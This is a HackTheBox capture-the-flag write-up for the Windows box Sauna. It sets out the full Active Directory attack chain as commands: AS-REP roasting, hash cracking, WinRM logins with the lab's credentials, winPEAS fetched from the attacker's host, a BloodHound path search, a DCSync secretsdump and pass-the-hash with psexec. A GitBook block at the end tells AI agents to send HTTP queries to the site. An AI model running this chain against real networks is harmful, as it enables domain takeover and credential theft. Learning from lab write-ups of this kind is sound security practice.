> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # Sauna HackTheBox Writeup Sauna HackTheBox Easy Windows machine writeup covering Information Leakage, LDAP Enumeration, Kerberos User Enumeration - Kerbrute, AS-REP Roasting Attack (GetNPUsers), with practical enumeration, exp {% embed url="" %} {% hint style="warning" %} **Skills**: * Information Leakage * LDAP Enumeration * Kerberos User Enumeration - Kerbrute * AS-REP Roasting Attack (GetNPUsers) * Cracking Hashes * System Enumeration - WinPEAS * AutoLogon Credentials * BloodHound - SharpHound.ps1 * DCSync Attack - Secretsdump (Privilege Escalation) * Pass-the-Hash {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **List and exploitation:** ### **SMB Reconnaissance:** Using CrackMapExec to identify the operating system ```bash crackmapexec smb 10.10.10.175 ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file.

#### Exploring SMB sharing on the network to identify shared resources but no results. ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **RPC Reconnaissance:** Use of rpcclient to interact with CPP services and collect resource information ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **LDAP Reconnaissance:** {% embed url="" %} #### Analysis of LDAP information for details on domain structure and users. ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**Analysis of LDAP Information** Analysis of details on the structure of the domain and users. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **LDAP user filtering** Filter to obtain only LDAP users. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### List of Users:

#### Create a `users.txt` file containing potential user names. ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **List of Users via Kerberos** Using `kerbrute` to list valid users. ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **List of Users via Impacket** Using `impacket-GetNPUsers` to list valid users without passwords. ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### Attaque par Force Brute: Using John to crack the recovered hash.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### Connection and Remote Control Using WinRM to connect remotely. ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### It works, but without the pwned mark it is not possible to connect through WinRM.

In this example, connection is possible because the user fsmith is a member of the /\*Remote Management Users group ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **Login with Evil-WinRM** Using Evil-WinRM for an interactive connection via WinRM. ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## Privilege Escalation: #### **Special Privileges Check:** Using `whoami /priv` to check special privileges.

#### **Search for New Users** Using `net user` to search for new users.

**Credentials search for user "svc/ loanmgr"** ### **Recognition with** winPEAS.exe {% embed url="" %} Download and run winPEAS recognition tool ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### Validation of IDs found with crackmapexec: Automatic login credentials for user `svc_loanmgr` have been found, with password

#### Using crackmapexec to validate that the password is correct. ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### Connection with "svc/ loanmgr" IDs: ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## List of the Domain with Bloodhound:

Installation Bloodhound:

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### Connection to Bloodhound with neo4j:neo4j credentials.

#### Launching BloodHound. ```bash bloodhound &> /dev/null & disown ```

### Collect information with SharpHound.ps1 {% embed url="" %}

### Transfer of collected data to Linux and import into Bloodhound #### Create a.zip file with the results of the collection. ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### Download the zip file from Windows machine to Linux. ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### Import zip file to Bloodhound.

### Analysis and operation: #### Filter for the shortest path to administration

#### The tool indicates the possibility of performing a DCsync attack.

## Vulnerability DCSync Attack: {% embed url="" %} #### Using secretsdump to get the NT hash from the administrator user. ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### Using psexec to run a cmd as an administrator using the NT hash. ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### Final Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.